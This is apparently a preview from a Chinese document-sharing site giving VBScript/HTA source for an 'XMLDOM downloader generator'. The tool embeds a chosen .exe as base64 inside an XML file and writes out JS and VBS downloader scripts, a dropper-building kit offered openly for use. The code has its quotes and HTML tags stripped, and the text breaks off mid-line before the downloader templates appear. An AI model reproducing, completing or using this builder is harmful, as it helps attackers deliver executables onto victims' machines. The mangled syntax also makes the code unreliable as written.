xmldom下载者生成器代码(xmldown.hta).doc
文本预览下载声明
XMLDOM下载者生成器代码(xmldown.hta)
以下代码保存成hta文件,可生成js和vbs下载者
代码如下:
HTA:APPLICATION
ID=xmldown
Caption=yes
SCROLL=auto
border=none
borderStyle=static
SINGLEINSTANCE=yes
maximizebutton=no
BORDER=no
icon=dxdiag.exe
script language=vbs
Sub Window_onLoad
window.resizeTo screen.width/1.6,screen.height/3
window.moveTo 200,200
End Sub
Sub CreateXml(path,File)
Set objStream = CreateObject(ADODB.Stream)
objStream.Type = 1
objStream.Open()
objStream.LoadFromFile(Path)
objStream.position = 0
Set XmlDoc = CreateObject(Microsoft.XMLDOM)
XmlDoc.async = False
Set Root = XmlDoc.createProcessingInstruction(xml, version=1.0 encoding=UTF-8)
XmlDoc.appendChild(Root)
XmlDoc.appendChild(XmlDoc.CreateElement(root))
Set Xfile = XmlDoc.SelectSingleNode(//root).AppendChild(XmlDoc.CreateElement(file))
Set Xstream = Xfile.AppendChild(XmlDoc.CreateElement(stream))
Xstream.SetAttribute xmlns:dt, urn:schemas-microsoft-com:datatypes
Xstream.dataType = bin.base64
Xstream.nodeTypedValue = objStream.Read()
XmlDoc.Save(File)
Set XmlDoc = Nothing
Set Root = Nothing
Set objStream=Nothing
End Sub
Function x(obj)
Set x=document.getElementById(obj)
End function
Function Findfile(str)
Set FSO = CreateObject(Scripting.FileSystemObject)
If FSO.FileExists(str) Then
findfile=true
Else
findfile=false
End If
End Function
Function jsdown()
Set FSO = CreateObject(Scripting.FileSystemObject)
with fso.opentextfile((CreateObject(WScript.Shell)).CurrentDirectoryamp;\jsdown.js,2,true)
.write x(jsdown).value
end with
end function
Function vbsdown()
Set FSO = CreateObject(Scripting.FileSystemObject)
with fso.opentextfile((CreateObject(WScript.Shell)).CurrentDirectoryamp;\vbsdown.vbs,2,true)
.write x(vbsdown).value
end with
end function
/script
body
h41.生成下载用的xml文件/h4
选择下载的exe文件:input type=file name=file1 id=file1 size=20
保存路径 input type=text name=path id=pathname value=c:\down.xml size=20
input type=button value=生成xml文件 onclick=vbs:Cre
显示全部